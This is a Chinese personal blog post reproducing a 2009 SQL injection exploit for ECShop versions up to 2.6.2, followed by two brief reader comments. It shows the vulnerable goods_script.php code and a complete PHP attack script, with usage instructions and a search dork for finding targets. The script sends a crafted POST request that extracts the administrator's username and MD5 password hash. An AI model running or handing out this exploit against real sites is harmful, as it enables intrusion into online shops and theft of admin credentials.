夜火博客 个人的碎碎念收集箱

ECShop <= v2.6.2 注入漏洞利用工具exploit

ECShop <= v2.6.2 注入漏洞利用工具exploit
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit

作者:Ryat
2009-03-24

影响2.5.x和2.6.x,其他版本未测试

goods_script.php44行:

    if (empty($_GET['type']))
    {
        ...
    }
    elseif ($_GET['type'] == 'collection')
    {
        ...
    }
    $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);
    $res = $db->query($sql);
$sql没有初始化,很明显的一个漏洞:)

Exploit:

#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team:
http://bbs.wolvez.org
dork: "Powered by ECShop"
+---------------------------------------------------------------------------+
');
/**
 * works with register_globals = On
 */
if ($argc < 3) {
    print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to ecshop
Example:
php '.$argv[0].' localhost /ecshop/
+---------------------------------------------------------------------------+
');
    exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('#href="([S]+):([a-z0-9]{32})"#', $resp, $hash);

if ($hash)
    exit("Expoilt Success! admin: $hash[1] Password(md5): $hash[2] ");
else
    exit("Exploit Failed! ");

function send()
{
    global $host, $path;

    $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';

    $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1 ";
    $data .= "Accept: */* ";
    $data .= "Accept-Language: zh-cn ";
    $data .= "Content-Type: application/x-www-form-urlencoded ";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ";
    $data .= "Host: $host ";
    $data .= "Content-Length: ".strlen($cmd)." ";
    $data .= "Connection: Close ";
    $data .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $data);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

?>

留言列表
无限
无限 最近就在做ec_shop二次开发
代码不咋的啊 错误也有许多  回复
xloong
xloong 自己写的才是最适合自己的,不过太费功夫了  回复
发表评论
来宾的头像